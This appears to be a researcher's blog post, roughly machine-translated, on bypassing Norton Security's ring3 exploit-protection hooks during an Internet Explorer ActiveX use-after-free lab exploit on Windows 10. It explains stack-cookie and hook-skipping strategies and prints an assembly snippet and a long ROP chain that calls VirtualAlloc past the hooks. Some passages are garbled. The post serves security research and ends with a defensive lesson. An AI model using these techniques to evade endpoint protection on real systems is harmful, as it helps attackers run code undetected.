When I came home from work on a winter evening, I wanted to test the performance of my old labs (2012) on how to
use Use-After-Free in ActiveX under Internet Explorer . Actually, I had Windows 10 on my new laptop, and the last IE with all these isolated heap and so on. And so I launched my exploit, when a bummer came out from where they didn’t wait, I had Norton Security on my new laptop, which pathetically detected 0day and stopped:

The evening promised to be languid. Previous experience with NextGen protection prompted me that the guys from Symatec did everything “cheap and fast”, which means you can try to bypass this protection without steaming so much. In general, as practice has shown, this approach to protection against exploits is VERY typical and costs almost a universal and unified method. In other words, with a detailed approach to an exploit, the same code will work against Norton Security and against other protection systems that use the same defense mechanism (and of course against systems where there is no protection). Let's see what is the “architectural” error of the method of protection chosen by Symantec ...
')
Well, opening a bank
HERE CAN BE YOUR ADVERTISING , I decided that it would be boring to debug one thing, I already did something similar before and knew what I could expect, although I didn’t know for sure ... in twitch, in the end I started a stream, where me and my comrades from
Defcon Russia began to “hack” this business. In the end, it was slower, but more fun. But let's go to the body.
Having launched an exploit from the labs several times, my guess was confirmed: Norton puts ring3 hooks on "critical" functions. In our case, this function was called in the ROP shellcode: VirtualAlloc.
ROP shellcode just made the current page of memory executable, for which he called VirtualProtect. Hook set Norton boldly wedged into the prologue of the function (springboard) and intercepted control, where he did some "magic" checks. If everything is ok, then the hook returned control, if he suspected evil, then an alert, an exceptional situation and we got caught (as in the screenshot). This method of protection, as I wrote above, is used not only by Norton and other information security vendors, so we will discuss different workaround strategies:
1) Cheat the logic of the "magic test"
2) Jump the hook and check
The first strategy implies that we “know” what the “magic” is about, what exactly is checked and slip what is needed and where needed, to convince the defense that everything is OK. In this case, the guys from the Defcon group, during the stream, exactly suggested to me what the magic is - Norton sticks a "secret cookie", a cookie, into each frame stack. When VirtualProtect, VirtualAlloc and even WinExec is called, the hook takes control and checks the current stack, that is, this very cookie. Since during the operation of Use-After-Free our exploit did the so-called Stack Pivot - changing the current frame stack, to the one that the attacker controls, in our case this page was generated by the Heap Spray with ROP, it turned out that was in our case. Hence the alert. There are several ways to bypass this check:
Strategy 1: Copy ROP from the original stack to the new one.
Strategy 2: Copy the ROP shellcode to the original stack, and return ESP back
This method is good and simple, but there is one drawback - it is not so universal, and only works against this particular test. So I decided to concentrate here on the second method.
The second method is even simpler - we do not need to think about the logic of checks, etc., etc., all we need is to “jump over” the springboard with the hook, and therefore the entire check. The disadvantages of this method are also obvious - on different branches of the OS, springboards, which means the hooks will be different. I mean, the hook on Windows 7 and the hook on Windows 10 look different (in Win10, the implementation of VirtualAlloc is already in kernelbase.dll). This means that, ideally, before issuing an exploit, the system (front end) should determine the OS - Windows 7, Windows 8.1 or Windows 10 and issue the necessary version of the exploit. But this method is more universal, since it does not matter whether Norton is there or if there is another hook - from another vendor (or even if there is no hook). Since Windows 10 was specifically in my case, we’ll analyze what I had, and so looks like hooks on VirtualProtect:

Here we have a VirtualAlloc pointer that leads to a wrapper in kernel32.dll, the first hook is there, and the second hook is directly in kernelbase.dll. This means that in the version for Win10 you need to jump over two hooks at once. We can do this in ROP: in fact, we read a pointer to VirtalAlloc from the IAT, then by a static offset from this pointer, we already read a pointer to VirtualAlloc in kernelbase.dll (this is for Win10, in Win7 the first pointer is enough). After that we add an offset to the address in order to jump over the second hook and transfer the call to it. And do not forget to adjust the value of the EBP in advance so that at the time of this call it was equal to ESP. Essentially, you need the following ESI code that points to VirtualAlloc:
mov eax, [esi + 8] ; kernelbase.virtualalloc mov eax, [eax] ; add eax, 5 ; , ( push ecx) push ebp ; ESP ( ) mov ebp, esp ; EBP
But this is good for the usual shellcode (which we still have after we perform the ROP), but until we have made the page executable, we need to do the same actions, but in the ROP. In general, 3 hours of stream were devoted to the creation of such a ROP program, and as a result we got what we wanted - a working version of the ROP shellcode that caused VirtualAlloc stably and did not generate errors and alert.
But this is not all, after that we have the usual shellcode, which runs a certain file (let it be a calculator). At the time of calling WinExec or CreateProcess, we should also bypass the hooks. This can be done in the same way, but for a variety of demonstrations, I decided to use the first strategy already, and just trick the check by switching ESP to the old, original frame, since we no longer need ROP. Hence the whole strategy and the fact that we have turned out looks like this:
1) the beginning of the attack, immediately after the stack pivot. Pointer to an old stack frame in our EDI
2) Immediately calculate the value of EBP, so that at the time of calling VirtualAlloc it was equivalent to ESP. We can calculate this in advance, since we know how to move the pointer to the stack.
>0x5bf2b484 : # POP EAX # RETN >204 : # offset to EBP >0x5be63cd8 : # PUSH ESP # POP EBP # RETN 04 >0x5bf014a9 : # XCHG EAX,EBP # RETN >0x90909090 : # TRASH >0x5bf08c87 : # ADD EAX,EBP # RETN >0x5bf014a9 : # XCHG EAX,EBP # RETN
3) Now count the pointer to VirtuallAlloc in the kernelbase, right after all the hooks
# EAX = kernelbase.virtalloc + offset_over_the_hook >0x5bee1907 : # POP ECX # RETN [npexploitMe.dll] >0x5bf32114 : # ptr to &VirtualAlloc() [IAT npexploitMe.dll] >0x5bed6fb0 : # MOV EAX,DWORD PTR DS:[ECX] # RETN [npexploitMe.dll] >0x5bedba6d : # ADD EAX,8 # RETN >0x5be629f9 : # MOV EAX,DWORD PTR DS:[EAX] # RETN >0x5be629f9 : # MOV EAX,DWORD PTR DS:[EAX] # RETN >0x5bee809a : # INC EAX # RETN >0x5bee809a : # INC EAX # RETN >0x5bee809a : # INC EAX # RETN >0x5bee809a : # INC EAX # RETN >0x5bee809a : # INC EAX # RETN
4) Actually prepare the parameters for VirtualAlloc (VA)
>0x5bf20010 : # XCHG EAX,ESI # RETN ; save VA in ESI >0x5be8936f : # XOR EAX,EAX # RETN >0x5bf08c87 : # ADD EAX,EBP # RETN ; EAX=EBP >0x5bed87dd : # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN ; EDX = EBP, pointer to place where we want to store our VA parameters >0x11223344 : # trash to esi >0x5bf20010 : # XCHG EAX,ESI # RETN ; save VA in ESI >0x5be98313 : # MOV EAX,ESI # RETN >0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; save VA call address (1) >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN ; DWORD* pointer++ >0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; not needed, new EBP (2) >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bf2b484 : # POP EAX # RETN ; put return address after VA call int EAX >0x5be63ce2 : # PUSH ESP # RETN ; this will be executed after VA (goes to EAX right now) >0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; Retuen address (3) >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5be8936f : # XOR EAX,EAX # RETN >0x5bf08c87 : # ADD EAX,EBP # RETN ; EAX=EBP >0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; pointer to page (4) >0x5bef49e2 : # INC EBP # RETN >0x5bef49e2 : # INC EBP # RETN >0x5bef49e2 : # INC EBP # RETN >0x5bef49e2 : # INC EBP # RETN ;fixing EBP, so now it is equal to ESP, prologue restored... >0x5bee809b : # RETN >0x11111111 : # This will be overwritten by (1) >0x22222222 : # This will be overwritten by (2) >0x22222222 : # Retuen address after VA call, will be overwritten by (3) >0x33333333 : # First VA parameter - pointer, overwrittem by (4) >0x00000001 : # Second VA parameter: size >0x00001000 : # Third VA parameter: AllocationType = MEM_COMMIT >0x00000040 : # Last VA parameter: R_X
And instead of conclusions: using hooks in ring3 to protect against exploits or malware is not a good idea, precisely because the fight is “equal”, and the attacker has the same capabilities and rights, but can act “not standard” using ROP and regular shellocde, programming your wierd machine. In our case, the developer believes that the function call is a call from the IAT pointer, and the hook3 will “come off” ring (I’ll add again that it’s not just Norton that does it, even some of the NextGen praises do so). Of course, against standard and standard exploits, and this protection will work and better this than nothing. Nevertheless, this protection can be circumvented and, moreover, easily. The very same workaround methods are quite versatile and practical.
In addition, ring3 hooks carry many other problems, including HELPING around
existing protections .
Ultimately, a ring0 hook would be better, at least against strategy number 2. Behind this all. gg bb hf
UPD: Link to twitch:
https://www.twitch.tv/defconrussiaUnfortunately, the 6-hour archive recording of this action has already been “removed”, so the channel is now empty, but soon we will resume streams on various topics related to information security, announcements on the website and in Google Group.